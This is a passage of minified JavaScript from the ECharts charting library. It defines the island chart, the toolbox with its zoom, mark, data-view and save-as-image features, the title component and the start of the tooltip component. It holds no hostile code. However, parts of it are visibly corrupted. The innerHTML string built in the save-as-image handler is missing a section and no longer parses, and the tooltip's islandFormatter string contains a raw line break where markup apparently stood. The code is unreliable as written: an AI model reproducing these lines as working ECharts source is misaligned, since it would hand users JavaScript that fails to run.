t.prototype={type:a.CHART_TYPE_ISLAND,_combine:function(t,i){var n=e("zrender/tool/color"),a=e("../util/accMath"),r=a.accAdd(o.get(t,"value"),o.get(i,"value")),s=o.get(t,"name")+this._nameConnector+o.get(i,"name");t.style.text=s+this._valueConnector+r,o.set(t,"value",r),o.set(t,"name",s),t.style.r=this.option.island.r,t.style.color=n.mix(t.style.color,i.style.color)},refresh:function(e){e&&(e.island=this.reformOption(e.island),this.option=e,this._nameConnector=this.option.nameConnector,this._valueConnector=this.option.valueConnector)},getOption:function(){return this.option},resize:function(){var e=this.zr.getWidth(),t=this.zr.getHeight(),i=e/(this._zrWidth||e),n=t/(this._zrHeight||t);if(1!==i||1!==n){this._zrWidth=e,this._zrHeight=t;for(var a=0,o=this.shapeList.length;o>a;a++)this.zr.modShape(this.shapeList[a].id,{style:{x:Math.round(this.shapeList[a].style.x*i),y:Math.round(this.shapeList[a].style.y*n)}})}},add:function(e){var t=o.get(e,"name"),i=o.get(e,"value"),a=null!=o.get(e,"series")?o.get(e,"series").name:"",r=this.getFont(this.option.island.textStyle),s=this.option.island,l={zlevel:s.zlevel,z:s.z,style:{x:e.style.x,y:e.style.y,r:this.option.island.r,color:e.style.color||e.style.strokeColor,text:t+this._valueConnector+i,textFont:r},draggable:!0,hoverable:!0,onmousewheel:this.shapeHandler.onmousewheel,_type:"island"};"#fff"===l.style.color&&(l.style.color=e.style.strokeColor),this.setCalculable(l),l.dragEnableTime=0,o.pack(l,{name:a},-1,i,-1,t),l=new n(l),this.shapeList.push(l),this.zr.addShape(l)},del:function(e){this.zr.delShape(e.id);for(var t=[],i=0,n=this.shapeList.length;n>i;i++)this.shapeList[i].id!=e.id&&t.push(this.shapeList[i]);this.shapeList=t},ondrop:function(e,t){if(this.isDrop&&e.target){var i=e.target,n=e.dragged;this._combine(i,n),this.zr.modShape(i.id),t.dragIn=!0,this.isDrop=!1}},ondragend:function(e,t){var i=e.target;this.isDragend?t.dragIn&&(this.del(i),t.needRefresh=!0):t.dragIn||(i.style.x=s.getX(e.event),i.style.y=s.getY(e.event),this.add(i),t.needRefresh=!0),this.isDragend=!1}},r.inherits(t,i),e("../chart").define("island",t),t}),i("echarts/component/toolbox",["require","./base","zrender/shape/Line","zrender/shape/Image","zrender/shape/Rectangle","../util/shape/Icon","../config","zrender/tool/util","zrender/config","zrender/tool/event","./dataView","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.dom=o.dom,this._magicType={},this._magicMap={},this._isSilence=!1,this._iconList,this._iconShapeMap={},this._featureTitle={},this._featureIcon={},this._featureColor={},this._featureOption={},this._enableColor="red",this._disableColor="#ccc",this._markShapeList=[];var r=this;r._onMark=function(e){r.__onMark(e)},r._onMarkUndo=function(e){r.__onMarkUndo(e)},r._onMarkClear=function(e){r.__onMarkClear(e)},r._onDataZoom=function(e){r.__onDataZoom(e)},r._onDataZoomReset=function(e){r.__onDataZoomReset(e)},r._onDataView=function(e){r.__onDataView(e)},r._onRestore=function(e){r.__onRestore(e)},r._onSaveAsImage=function(e){r.__onSaveAsImage(e)},r._onMagicType=function(e){r.__onMagicType(e)},r._onCustomHandler=function(e){r.__onCustomHandler(e)},r._onmousemove=function(e){return r.__onmousemove(e)},r._onmousedown=function(e){return r.__onmousedown(e)},r._onmouseup=function(e){return r.__onmouseup(e)},r._onclick=function(e){return r.__onclick(e)}}var i=e("./base"),n=e("zrender/shape/Line"),a=e("zrender/shape/Image"),o=e("zrender/shape/Rectangle"),r=e("../util/shape/Icon"),s=e("../config");s.toolbox={zlevel:0,z:6,show:!1,orient:"horizontal",x:"right",y:"top",color:["#1e90ff","#22bb22","#4b0082","#d2691e"],disableColor:"#ddd",effectiveColor:"red",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:10,itemSize:16,showTitle:!0,feature:{mark:{show:!1,title:{mark:"辅助线开关",markUndo:"删除辅助线",markClear:"清空辅助线"},lineStyle:{width:1,color:"#1e90ff",type:"dashed"}},dataZoom:{show:!1,title:{dataZoom:"区域缩放",dataZoomReset:"区域缩放后退"}},dataView:{show:!1,title:"数据视图",readOnly:!1,lang:["数据视图","关闭","刷新"]},magicType:{show:!1,title:{line:"折线图切换",bar:"柱形图切换",stack:"堆积",tiled:"平铺",force:"力导向布局图切换",chord:"和弦图切换",pie:"饼图切换",funnel:"漏斗图切换"},type:[]},restore:{show:!1,title:"还原"},saveAsImage:{show:!1,title:"保存为图片",type:"png",lang:["点击保存"]}}};var l=e("zrender/tool/util"),h=e("zrender/config"),m=e("zrender/tool/event"),V="stack",U="tiled";return t.prototype={type:s.COMPONENT_TYPE_TOOLBOX,_buildShape:function(){this._iconList=[];var e=this.option.toolbox;this._enableColor=e.effectiveColor,this._disableColor=e.disableColor;var t=e.feature,i=[];for(var n in t)if(t[n].show)switch(n){case"mark":i.push({key:n,name:"mark"}),i.push({key:n,name:"markUndo"}),i.push({key:n,name:"markClear"});break;case"magicType":for(var a=0,o=t[n].type.length;o>a;a++)t[n].title[t[n].type[a]+"Chart"]=t[n].title[t[n].type[a]],t[n].option&&(t[n].option[t[n].type[a]+"Chart"]=t[n].option[t[n].type[a]]),i.push({key:n,name:t[n].type[a]+"Chart"});break;case"dataZoom":i.push({key:n,name:"dataZoom"}),i.push({key:n,name:"dataZoomReset"});break;case"saveAsImage":this.canvasSupported&&i.push({key:n,name:"saveAsImage"});break;default:i.push({key:n,name:n})}if(i.length>0){for(var r,n,a=0,o=i.length;o>a;a++)r=i[a].name,n=i[a].key,this._iconList.push(r),this._featureTitle[r]=t[n].title[r]||t[n].title,t[n].icon&&(this._featureIcon[r]=t[n].icon[r]||t[n].icon),t[n].color&&(this._featureColor[r]=t[n].color[r]||t[n].color),t[n].option&&(this._featureOption[r]=t[n].option[r]||t[n].option);this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var a=0,o=this.shapeList.length;o>a;a++)this.zr.addShape(this.shapeList[a]);this._iconShapeMap.mark&&(this._iconDisable(this._iconShapeMap.markUndo),this._iconDisable(this._iconShapeMap.markClear)),this._iconShapeMap.dataZoomReset&&0===this._zoomQueue.length&&this._iconDisable(this._iconShapeMap.dataZoomReset)}},_buildItem:function(){var t,i,n,o,s=this.option.toolbox,l=this._iconList.length,h=this._itemGroupLocation.x,m=this._itemGroupLocation.y,V=s.itemSize,U=s.itemGap,d=s.color instanceof Array?s.color:[s.color],p=this.getFont(s.textStyle);"horizontal"===s.orient?(i=this._itemGroupLocation.y/this.zr.getHeight()<.5?"bottom":"top",n=this._itemGroupLocation.x/this.zr.getWidth()<.5?"left":"right",o=this._itemGroupLocation.y/this.zr.getHeight()<.5?"top":"bottom"):i=this._itemGroupLocation.x/this.zr.getWidth()<.5?"right":"left",this._iconShapeMap={};for(var c=this,u=0;l>u;u++){switch(t={type:"icon",zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:h,y:m,width:V,height:V,iconType:this._iconList[u],lineWidth:1,strokeColor:this._featureColor[this._iconList[u]]||d[u%d.length],brushType:"stroke"},highlightStyle:{lineWidth:1,text:s.showTitle?this._featureTitle[this._iconList[u]]:void 0,textFont:p,textPosition:i,strokeColor:this._featureColor[this._iconList[u]]||d[u%d.length]},hoverable:!0,clickable:!0},this._featureIcon[this._iconList[u]]&&(t.style.image=this._featureIcon[this._iconList[u]].replace(new RegExp("^image:\\/\\/"),""),t.style.opacity=.8,t.highlightStyle.opacity=1,t.type="image"),"horizontal"===s.orient&&(0===u&&"left"===n&&(t.highlightStyle.textPosition="specific",t.highlightStyle.textAlign=n,t.highlightStyle.textBaseline=o,t.highlightStyle.textX=h,t.highlightStyle.textY="top"===o?m+V+10:m-10),u===l-1&&"right"===n&&(t.highlightStyle.textPosition="specific",t.highlightStyle.textAlign=n,t.highlightStyle.textBaseline=o,t.highlightStyle.textX=h+V,t.highlightStyle.textY="top"===o?m+V+10:m-10)),this._iconList[u]){case"mark":t.onclick=c._onMark;break;case"markUndo":t.onclick=c._onMarkUndo;break;case"markClear":t.onclick=c._onMarkClear;break;case"dataZoom":t.onclick=c._onDataZoom;break;case"dataZoomReset":t.onclick=c._onDataZoomReset;break;case"dataView":if(!this._dataView){var y=e("./dataView");this._dataView=new y(this.ecTheme,this.messageCenter,this.zr,this.option,this.myChart)}t.onclick=c._onDataView;break;case"restore":t.onclick=c._onRestore;break;case"saveAsImage":t.onclick=c._onSaveAsImage;break;default:this._iconList[u].match("Chart")?(t._name=this._iconList[u].replace("Chart",""),t.onclick=c._onMagicType):t.onclick=c._onCustomHandler}"icon"===t.type?t=new r(t):"image"===t.type&&(t=new a(t)),this.shapeList.push(t),this._iconShapeMap[this._iconList[u]]=t,"horizontal"===s.orient?h+=V+U:m+=V+U}},_buildBackground:function(){var e=this.option.toolbox,t=this.reformCssArray(this.option.toolbox.padding);this.shapeList.push(new o({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-t[3],y:this._itemGroupLocation.y-t[0],width:this._itemGroupLocation.width+t[3]+t[1],height:this._itemGroupLocation.height+t[0]+t[2],brushType:0===e.borderWidth?"fill":"both",color:e.backgroundColor,strokeColor:e.borderColor,lineWidth:e.borderWidth}}))},_getItemGroupLocation:function(){var e=this.option.toolbox,t=this.reformCssArray(this.option.toolbox.padding),i=this._iconList.length,n=e.itemGap,a=e.itemSize,o=0,r=0;"horizontal"===e.orient?(o=(a+n)*i-n,r=a):(r=(a+n)*i-n,o=a);var s,l=this.zr.getWidth();switch(e.x){case"center":s=Math.floor((l-o)/2);break;case"left":s=t[3]+e.borderWidth;break;case"right":s=l-o-t[1]-e.borderWidth;break;default:s=e.x-0,s=isNaN(s)?0:s}var h,m=this.zr.getHeight();switch(e.y){case"top":h=t[0]+e.borderWidth;break;case"bottom":h=m-r-t[2]-e.borderWidth;break;case"center":h=Math.floor((m-r)/2);break;default:h=e.y-0,h=isNaN(h)?0:h}return{x:s,y:h,width:o,height:r}},__onmousemove:function(e){this._marking&&(this._markShape.style.xEnd=m.getX(e.event),this._markShape.style.yEnd=m.getY(e.event),this.zr.addHoverShape(this._markShape)),this._zooming&&(this._zoomShape.style.width=m.getX(e.event)-this._zoomShape.style.x,this._zoomShape.style.height=m.getY(e.event)-this._zoomShape.style.y,this.zr.addHoverShape(this._zoomShape),this.dom.style.cursor="crosshair",m.stop(e.event)),this._zoomStart&&"pointer"!=this.dom.style.cursor&&"move"!=this.dom.style.cursor&&(this.dom.style.cursor="crosshair")},__onmousedown:function(e){if(!e.target){this._zooming=!0;var t=m.getX(e.event),i=m.getY(e.event),n=this.option.dataZoom||{};return this._zoomShape=new o({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:t,y:i,width:1,height:1,brushType:"both"},highlightStyle:{lineWidth:2,color:n.fillerColor||s.dataZoom.fillerColor,strokeColor:n.handleColor||s.dataZoom.handleColor,brushType:"both"}}),this.zr.addHoverShape(this._zoomShape),!0}},__onmouseup:function(){if(!this._zoomShape||Math.abs(this._zoomShape.style.width)<10||Math.abs(this._zoomShape.style.height)<10)return this._zooming=!1,!0;if(this._zooming&&this.component.dataZoom){this._zooming=!1;var e=this.component.dataZoom.rectZoom(this._zoomShape.style);e&&(this._zoomQueue.push({start:e.start,end:e.end,start2:e.start2,end2:e.end2}),this._iconEnable(this._iconShapeMap.dataZoomReset),this.zr.refreshNextFrame())}return!0},__onclick:function(e){if(!e.target)if(this._marking)this._marking=!1,this._markShapeList.push(this._markShape),this._iconEnable(this._iconShapeMap.markUndo),this._iconEnable(this._iconShapeMap.markClear),this.zr.addShape(this._markShape),this.zr.refreshNextFrame();else if(this._markStart){this._marking=!0;var t=m.getX(e.event),i=m.getY(e.event);this._markShape=new n({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{xStart:t,yStart:i,xEnd:t,yEnd:i,lineWidth:this.query(this.option,"toolbox.feature.mark.lineStyle.width"),strokeColor:this.query(this.option,"toolbox.feature.mark.lineStyle.color"),lineType:this.query(this.option,"toolbox.feature.mark.lineStyle.type")}}),this.zr.addHoverShape(this._markShape)}},__onMark:function(e){var t=e.target;if(this._marking||this._markStart)this._resetMark(),this.zr.refreshNextFrame();else{this._resetZoom(),this.zr.modShape(t.id,{style:{strokeColor:this._enableColor}}),this.zr.refreshNextFrame(),this._markStart=!0;var i=this;setTimeout(function(){i.zr&&i.zr.on(h.EVENT.CLICK,i._onclick)&&i.zr.on(h.EVENT.MOUSEMOVE,i._onmousemove)},10)}return!0},__onMarkUndo:function(){if(this._marking)this._marking=!1;else{var e=this._markShapeList.length;if(e>=1){var t=this._markShapeList[e-1];this.zr.delShape(t.id),this.zr.refreshNextFrame(),this._markShapeList.pop(),1===e&&(this._iconDisable(this._iconShapeMap.markUndo),this._iconDisable(this._iconShapeMap.markClear))}}return!0},__onMarkClear:function(){this._marking&&(this._marking=!1);var e=this._markShapeList.length;if(e>0){for(;e--;)this.zr.delShape(this._markShapeList.pop().id);this._iconDisable(this._iconShapeMap.markUndo),this._iconDisable(this._iconShapeMap.markClear),this.zr.refreshNextFrame()}return!0},__onDataZoom:function(e){var t=e.target;if(this._zooming||this._zoomStart)this._resetZoom(),this.zr.refreshNextFrame(),this.dom.style.cursor="default";else{this._resetMark(),this.zr.modShape(t.id,{style:{strokeColor:this._enableColor}}),this.zr.refreshNextFrame(),this._zoomStart=!0;var i=this;setTimeout(function(){i.zr&&i.zr.on(h.EVENT.MOUSEDOWN,i._onmousedown)&&i.zr.on(h.EVENT.MOUSEUP,i._onmouseup)&&i.zr.on(h.EVENT.MOUSEMOVE,i._onmousemove)},10),this.dom.style.cursor="crosshair"}return!0},__onDataZoomReset:function(){return this._zooming&&(this._zooming=!1),this._zoomQueue.pop(),this._zoomQueue.length>0?this.component.dataZoom.absoluteZoom(this._zoomQueue[this._zoomQueue.length-1]):(this.component.dataZoom.rectZoom(),this._iconDisable(this._iconShapeMap.dataZoomReset),this.zr.refreshNextFrame()),!0},_resetMark:function(){this._marking=!1,this._markStart&&(this._markStart=!1,this._iconShapeMap.mark&&this.zr.modShape(this._iconShapeMap.mark.id,{style:{strokeColor:this._iconShapeMap.mark.highlightStyle.strokeColor}}),this.zr.un(h.EVENT.CLICK,this._onclick),this.zr.un(h.EVENT.MOUSEMOVE,this._onmousemove))},_resetZoom:function(){this._zooming=!1,this._zoomStart&&(this._zoomStart=!1,this._iconShapeMap.dataZoom&&this.zr.modShape(this._iconShapeMap.dataZoom.id,{style:{strokeColor:this._iconShapeMap.dataZoom.highlightStyle.strokeColor}}),this.zr.un(h.EVENT.MOUSEDOWN,this._onmousedown),this.zr.un(h.EVENT.MOUSEUP,this._onmouseup),this.zr.un(h.EVENT.MOUSEMOVE,this._onmousemove))},_iconDisable:function(e){"image"!=e.type?this.zr.modShape(e.id,{hoverable:!1,clickable:!1,style:{strokeColor:this._disableColor}}):this.zr.modShape(e.id,{hoverable:!1,clickable:!1,style:{opacity:.3}})},_iconEnable:function(e){"image"!=e.type?this.zr.modShape(e.id,{hoverable:!0,clickable:!0,style:{strokeColor:e.highlightStyle.strokeColor}}):this.zr.modShape(e.id,{hoverable:!0,clickable:!0,style:{opacity:.8}})},__onDataView:function(){return this._dataView.show(this.option),!0},__onRestore:function(){return this._resetMark(),this._resetZoom(),this.messageCenter.dispatch(s.EVENT.RESTORE,null,null,this.myChart),!0},__onSaveAsImage:function(){var e=this.option.toolbox.feature.saveAsImage,t=e.type||"png";"png"!=t&&"jpeg"!=t&&(t="png");var i;i=this.myChart.isConnected()?this.myChart.getConnectedDataURL(t):this.zr.toDataURL("image/"+t,this.option.backgroundColor&&"rgba(0,0,0,0)"===this.option.backgroundColor.replace(" ","")?"#fff":this.option.backgroundColor);var n=document.createElement("div");n.id="__echarts_download_wrap__",n.style.cssText="position:fixed;z-index:99999;display:block;top:0;left:0;background-color:rgba(33,33,33,0.5);text-align:center;width:100%;height:100%;line-height:"+document.documentElement.clientHeight+"px;";var a=document.createElement("a");a.href=i,a.setAttribute("download",(e.name?e.name:this.option.title&&(this.option.title.text||this.option.title.subtext)?this.option.title.text||this.option.title.subtext:"ECharts")+"."+t),a.innerHTML='图片另存为":e.lang?e.lang[0]:"点击保存")+'"/>',n.appendChild(a),document.body.appendChild(n),a=null,n=null,setTimeout(function(){var e=document.getElementById("__echarts_download_wrap__");e&&(e.onclick=function(){var e=document.getElementById("__echarts_download_wrap__");e.onclick=null,e.innerHTML="",document.body.removeChild(e),e=null},e=null)},500)},__onMagicType:function(e){this._resetMark();var t=e.target._name;return this._magicType[t]||(this._magicType[t]=!0,t===s.CHART_TYPE_LINE?this._magicType[s.CHART_TYPE_BAR]=!1:t===s.CHART_TYPE_BAR&&(this._magicType[s.CHART_TYPE_LINE]=!1),t===s.CHART_TYPE_PIE?this._magicType[s.CHART_TYPE_FUNNEL]=!1:t===s.CHART_TYPE_FUNNEL&&(this._magicType[s.CHART_TYPE_PIE]=!1),t===s.CHART_TYPE_FORCE?this._magicType[s.CHART_TYPE_CHORD]=!1:t===s.CHART_TYPE_CHORD&&(this._magicType[s.CHART_TYPE_FORCE]=!1),t===V?this._magicType[U]=!1:t===U&&(this._magicType[V]=!1),this.messageCenter.dispatch(s.EVENT.MAGIC_TYPE_CHANGED,e.event,{magicType:this._magicType},this.myChart)),!0},setMagicType:function(e){this._resetMark(),this._magicType=e,!this._isSilence&&this.messageCenter.dispatch(s.EVENT.MAGIC_TYPE_CHANGED,null,{magicType:this._magicType},this.myChart)},__onCustomHandler:function(e){var t=e.target.style.iconType,i=this.option.toolbox.feature[t].onclick;"function"==typeof i&&i.call(this,this.option)},reset:function(e,t){if(t&&this.clear(),this.query(e,"toolbox.show")&&this.query(e,"toolbox.feature.magicType.show")){var i=e.toolbox.feature.magicType.type,n=i.length;for(this._magicMap={};n--;)this._magicMap[i[n]]=!0;n=e.series.length;for(var a,o;n--;)a=e.series[n].type,this._magicMap[a]&&(o=e.xAxis instanceof Array?e.xAxis[e.series[n].xAxisIndex||0]:e.xAxis,o&&"category"===(o.type||"category")&&(o.__boundaryGap=null!=o.boundaryGap?o.boundaryGap:!0),o=e.yAxis instanceof Array?e.yAxis[e.series[n].yAxisIndex||0]:e.yAxis,o&&"category"===o.type&&(o.__boundaryGap=null!=o.boundaryGap?o.boundaryGap:!0),e.series[n].__type=a,e.series[n].__itemStyle=l.clone(e.series[n].itemStyle||{})),(this._magicMap[V]||this._magicMap[U])&&(e.series[n].__stack=e.series[n].stack)}this._magicType=t?{}:this._magicType||{};for(var r in this._magicType)if(this._magicType[r]){this.option=e,this.getMagicOption();break}var s=e.dataZoom;if(s&&s.show){var h=null!=s.start&&s.start>=0&&s.start<=100?s.start:0,m=null!=s.end&&s.end>=0&&s.end<=100?s.end:100;h>m&&(h+=m,m=h-m,h-=m),this._zoomQueue=[{start:h,end:m,start2:0,end2:100}]}else this._zoomQueue=[]},getMagicOption:function(){var e,t;if(this._magicType[s.CHART_TYPE_LINE]||this._magicType[s.CHART_TYPE_BAR]){for(var i=this._magicType[s.CHART_TYPE_LINE]?!1:!0,n=0,a=this.option.series.length;a>n;n++)t=this.option.series[n].type,(t==s.CHART_TYPE_LINE||t==s.CHART_TYPE_BAR)&&(e=this.option.xAxis instanceof Array?this.option.xAxis[this.option.series[n].xAxisIndex||0]:this.option.xAxis,e&&"category"===(e.type||"category")&&(e.boundaryGap=i?!0:e.__boundaryGap),e=this.option.yAxis instanceof Array?this.option.yAxis[this.option.series[n].yAxisIndex||0]:this.option.yAxis,e&&"category"===e.type&&(e.boundaryGap=i?!0:e.__boundaryGap));this._defaultMagic(s.CHART_TYPE_LINE,s.CHART_TYPE_BAR)}if(this._defaultMagic(s.CHART_TYPE_CHORD,s.CHART_TYPE_FORCE),this._defaultMagic(s.CHART_TYPE_PIE,s.CHART_TYPE_FUNNEL),this._magicType[V]||this._magicType[U])for(var n=0,a=this.option.series.length;a>n;n++)this._magicType[V]?(this.option.series[n].stack="_ECHARTS_STACK_KENER_2014_",t=V):this._magicType[U]&&(this.option.series[n].stack=null,t=U),this._featureOption[t+"Chart"]&&l.merge(this.option.series[n],this._featureOption[t+"Chart"]||{},!0);return this.option},_defaultMagic:function(e,t){if(this._magicType[e]||this._magicType[t])for(var i=0,n=this.option.series.length;n>i;i++){var a=this.option.series[i].type;(a==e||a==t)&&(this.option.series[i].type=this._magicType[e]?e:t,this.option.series[i].itemStyle=l.clone(this.option.series[i].__itemStyle),a=this.option.series[i].type,this._featureOption[a+"Chart"]&&l.merge(this.option.series[i],this._featureOption[a+"Chart"]||{},!0))}},silence:function(e){this._isSilence=e},resize:function(){this._resetMark(),this.clear(),this.option&&this.option.toolbox&&this.option.toolbox.show&&this._buildShape(),this._dataView&&this._dataView.resize()},hideDataView:function(){this._dataView&&this._dataView.hide()},clear:function(e){this.zr&&(this.zr.delShape(this.shapeList),this.shapeList=[],e||(this.zr.delShape(this._markShapeList),this._markShapeList=[]))},onbeforDispose:function(){this._dataView&&(this._dataView.dispose(),this._dataView=null),this._markShapeList=null},refresh:function(e){e&&(this._resetMark(),this._resetZoom(),e.toolbox=this.reformOption(e.toolbox),this.option=e,this.clear(!0),e.toolbox.show&&this._buildShape(),this.hideDataView())}},l.inherits(t,i),e("../component").define("toolbox",t),t}),i("echarts/component",[],function(){var e={},t={};return e.define=function(i,n){return t[i]=n,e},e.get=function(e){return t[e]},e}),i("echarts/component/title",["require","./base","zrender/shape/Text","zrender/shape/Rectangle","../config","zrender/tool/util","zrender/tool/area","zrender/tool/color","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Rectangle"),o=e("../config");o.title={zlevel:0,z:6,show:!0,text:"",subtext:"",x:"left",y:"top",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:5,textStyle:{fontSize:18,fontWeight:"bolder",color:"#333"},subtextStyle:{color:"#aaa"}};var r=e("zrender/tool/util"),s=e("zrender/tool/area"),l=e("zrender/tool/color");return t.prototype={type:o.COMPONENT_TYPE_TITLE,_buildShape:function(){if(this.titleOption.show){this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildItem:function(){var e=this.titleOption.text,t=this.titleOption.link,i=this.titleOption.target,a=this.titleOption.subtext,o=this.titleOption.sublink,r=this.titleOption.subtarget,s=this.getFont(this.titleOption.textStyle),h=this.getFont(this.titleOption.subtextStyle),m=this._itemGroupLocation.x,V=this._itemGroupLocation.y,U=this._itemGroupLocation.width,d=this._itemGroupLocation.height,p={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{y:V,color:this.titleOption.textStyle.color,text:e,textFont:s,textBaseline:"top"},highlightStyle:{color:l.lift(this.titleOption.textStyle.color,1),brushType:"fill"},hoverable:!1};t&&(p.hoverable=!0,p.clickable=!0,p.onclick=function(){i&&"self"==i?window.location=t:window.open(t)});var c={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{y:V+d,color:this.titleOption.subtextStyle.color,text:a,textFont:h,textBaseline:"bottom"},highlightStyle:{color:l.lift(this.titleOption.subtextStyle.color,1),brushType:"fill"},hoverable:!1};switch(o&&(c.hoverable=!0,c.clickable=!0,c.onclick=function(){r&&"self"==r?window.location=o:window.open(o)}),this.titleOption.x){case"center":p.style.x=c.style.x=m+U/2,p.style.textAlign=c.style.textAlign="center";break;case"left":p.style.x=c.style.x=m,p.style.textAlign=c.style.textAlign="left";break;case"right":p.style.x=c.style.x=m+U,p.style.textAlign=c.style.textAlign="right";break;default:m=this.titleOption.x-0,m=isNaN(m)?0:m,p.style.x=c.style.x=m}this.titleOption.textAlign&&(p.style.textAlign=c.style.textAlign=this.titleOption.textAlign),this.shapeList.push(new n(p)),""!==a&&this.shapeList.push(new n(c))},_buildBackground:function(){var e=this.reformCssArray(this.titleOption.padding);this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.titleOption.borderWidth?"fill":"both",color:this.titleOption.backgroundColor,strokeColor:this.titleOption.borderColor,lineWidth:this.titleOption.borderWidth}}))},_getItemGroupLocation:function(){var e,t=this.reformCssArray(this.titleOption.padding),i=this.titleOption.text,n=this.titleOption.subtext,a=this.getFont(this.titleOption.textStyle),o=this.getFont(this.titleOption.subtextStyle),r=Math.max(s.getTextWidth(i,a),s.getTextWidth(n,o)),l=s.getTextHeight(i,a)+(""===n?0:this.titleOption.itemGap+s.getTextHeight(n,o)),h=this.zr.getWidth();switch(this.titleOption.x){case"center":e=Math.floor((h-r)/2);break;case"left":e=t[3]+this.titleOption.borderWidth;break;case"right":e=h-r-t[1]-this.titleOption.borderWidth;break;default:e=this.titleOption.x-0,e=isNaN(e)?0:e}var m,V=this.zr.getHeight();switch(this.titleOption.y){case"top":m=t[0]+this.titleOption.borderWidth;break;case"bottom":m=V-l-t[2]-this.titleOption.borderWidth;break;case"center":m=Math.floor((V-l)/2);break;default:m=this.titleOption.y-0,m=isNaN(m)?0:m}return{x:e,y:m,width:r,height:l}},refresh:function(e){e&&(this.option=e,this.option.title=this.reformOption(this.option.title),this.titleOption=this.option.title,this.titleOption.textStyle=this.getTextStyle(this.titleOption.textStyle),this.titleOption.subtextStyle=this.getTextStyle(this.titleOption.subtextStyle)),this.clear(),this._buildShape()}},r.inherits(t,i),e("../component").define("title",t),t}),i("echarts/component/tooltip",["require","./base","../util/shape/Cross","zrender/shape/Line","zrender/shape/Rectangle","../config","../util/ecData","zrender/config","zrender/tool/event","zrender/tool/area","zrender/tool/color","zrender/tool/util","zrender/shape/Base","../component"],function(e){function t(e,t,o,r,s){i.call(this,e,t,o,r,s),this.dom=s.dom;var l=this;l._onmousemove=function(e){return l.__onmousemove(e)},l._onglobalout=function(e){return l.__onglobalout(e)},this.zr.on(h.EVENT.MOUSEMOVE,l._onmousemove),this.zr.on(h.EVENT.GLOBALOUT,l._onglobalout),l._hide=function(e){return l.__hide(e)},l._tryShow=function(e){return l.__tryShow(e)},l._refixed=function(e){return l.__refixed(e)},l._setContent=function(e,t){return l.__setContent(e,t)},this._tDom=this._tDom||document.createElement("div"),this._tDom.onselectstart=function(){return!1},this._tDom.onmouseover=function(){l._mousein=!0},this._tDom.onmouseout=function(){l._mousein=!1},this._tDom.className="echarts-tooltip",this._tDom.style.position="absolute",this.hasAppend=!1,this._axisLineShape&&this.zr.delShape(this._axisLineShape.id),this._axisLineShape=new a({zlevel:this.getZlevelBase(),z:this.getZBase(),invisible:!0,hoverable:!1}),this.shapeList.push(this._axisLineShape),this.zr.addShape(this._axisLineShape),this._axisShadowShape&&this.zr.delShape(this._axisShadowShape.id),this._axisShadowShape=new a({zlevel:this.getZlevelBase(),z:1,invisible:!0,hoverable:!1}),this.shapeList.push(this._axisShadowShape),this.zr.addShape(this._axisShadowShape),this._axisCrossShape&&this.zr.delShape(this._axisCrossShape.id),this._axisCrossShape=new n({zlevel:this.getZlevelBase(),z:this.getZBase(),invisible:!0,hoverable:!1}),this.shapeList.push(this._axisCrossShape),this.zr.addShape(this._axisCrossShape),this.showing=!1,this.refresh(r)}var i=e("./base"),n=e("../util/shape/Cross"),a=e("zrender/shape/Line"),o=e("zrender/shape/Rectangle"),r=new o({}),s=e("../config");s.tooltip={zlevel:1,z:8,show:!0,showContent:!0,trigger:"item",islandFormatter:"{a}
{b} : {c}",showDelay:20,hideDelay:100,transitionDuration:.4,enterable:!1,backgroundColor:"rgba(0,0,0,0.7)",borderColor:"#333",borderRadius:4,borderWidth:0,padding:5,axisPointer:{type:"line",lineStyle:{color:"#48b",width:2,type:"solid"},crossStyle:{color:"#1e90ff",width:1,type:"dashed"},shadowStyle:{color:"rgba(150,150,150,0.3)",width:"auto",type:"default"}},textStyle:{color:"#fff"}};var l=e("../util/ecData"),h=e("zrender/config"),m=e("zrender/tool/event"),V=e("zrender/tool/area"),U=e("zrender/tool/color"),d=e("zrender/tool/util"),p=e("zrender/shape/Base");return t.prototype={type:s.COMPONENT_TYPE_TOOLTIP,_gCssText:"position:absolute;display:block;border-style:solid;white-space:nowrap;",_style:function(e){if(!e)return"";var t=[];if(e.transitionDuration){var i="left "+e.transitionDuration+"s,top "+e.transitionDuration+"s";t.push("transition:"+i),t.push("-moz-transition:"+i),t.push("-webkit-transition:"+i),t.push("-o-transition:"+i)}e.backgroundColor&&(t.push("background-Color:"+U.toHex(e.backgroundColor)),t.push("filter:alpha(opacity=70)"),t.push("background-Color:"+e.backgroundColor)),null!=e.borderWidth&&t.push("border-width:"+e.borderWidth+"px"),null!=e.borderColor&&t.push("border-color:"+e.borderColor),null!=e.borderRadius&&(t.push("border-radius:"+e.borderRadius+"px"),t.push("-moz-border-radius:"+e.borderRadius+"px"),t.push("-webkit-border-radius:"+e.borderRadius+"px"),t.push("-o-border-radius:"+e.borderRadius+"px"));var n=e.textStyle;n&&(n.color&&t.push("color:"+n.color),n.decoration&&t.push("text-decoration:"+n.decoration),n.align&&t.push("text-align:"+n.align),n.fontFamily&&t.push("font-family:"+n.fontFamily),n.fontSize&&t.push("font-size:"+n.fontSize+"px"),n.fontSize&&t.push("line-height:"+Math.round(3*n.fontSize/2)+"px"),n.fontStyle&&t.push("font-style:"+n.fontStyle),n.fontWeight&&t.push("font-weight:"+n.fontWeight));var a=e.padding;return null!=a&&(a=this.reformCssArray(a),t.push("padding:"+a[0]+"px "+a[1]+"px 